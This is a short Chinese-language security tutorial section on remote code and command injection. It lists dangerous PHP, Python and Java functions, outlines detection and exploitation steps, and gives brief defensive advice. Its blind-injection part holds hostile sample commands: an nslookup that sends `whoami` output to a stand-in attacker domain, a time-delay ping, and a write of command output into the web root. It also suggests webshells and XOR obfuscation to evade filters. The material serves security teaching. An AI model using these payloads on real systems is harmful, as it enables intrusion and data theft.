4.8 RCE
简介
RCE 分为两类。详见
Remote Code Execution (Code Injection)
Remote Command Execution (Command injection)
是什么?
代码注入、命令注入,差不多都一个意思,不同之处在于前者将用户可控输入当作系统命令执行,而后者当作代码执行。
程序编写时,将用户的可控输入作为代码、命令的一部分来执行,而没有进行严格过滤。
php 中
# 可以进行代码执行的函数
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()
# 可以进行命令执行的函数
system()、shell_exec()、popen()、passthru()、proc_open()
python 中
eval exec subprocess os.system commands
java 中
java 中没有直接的函数,但是可以通过反射机制结合表达式引擎来实现这种功能。 OGNL、SpEL、MVEL
历史原因,在进行查询库存等操作时,可能会直接调用相应单独程序。
成功攻击的影响是?
代码执行可以执行代码,包括调用执行系统命令函数。
命令执行可以执行系统命令。
如何攻击?
-
要探测到可能用作 代码执行、命令执行的入口。白盒而言相对简单,黑盒只能通过经验、程序表现来判断。
-
突破不严谨过滤方式。 见下文
-
进行利用。
可以利用 Commix 命令注入检测、利用工具。
如何防御?
尽量不要使用将用户可控输入转化为命令的功能。
如果非要使用,应该严格限制输入类型、不允许特殊符号。
检测与利用
代码注入
构造 webshell。
命令注入
如果目标回显,则直接看响应结果即可。
如目标不回显,则尝试以下方法:
-
时延。利用耗时命令,当注入成功时,响应时间明显变大。
ping -c 2 -i 4 127.0.0.1 //每次ping 间隔 4秒
-
oob 技术。利用 ping 或者 nslookup 来检测或带出数据。
nslookup `whoami`.kgji2ohoyw.web-attacker.com nslookup $(whoami).kgji2ohoyw.web-attacker.com
-
写入到文件。写入到网站公共目录下,然后访问文件。
whoami > /var/www/static/whoami.txt
防御绕过
等链接到后面的 WAF 绕过
代码注入
正则表达式过滤,可以尝试 异或加密。在网上查找代码加密混淆工具。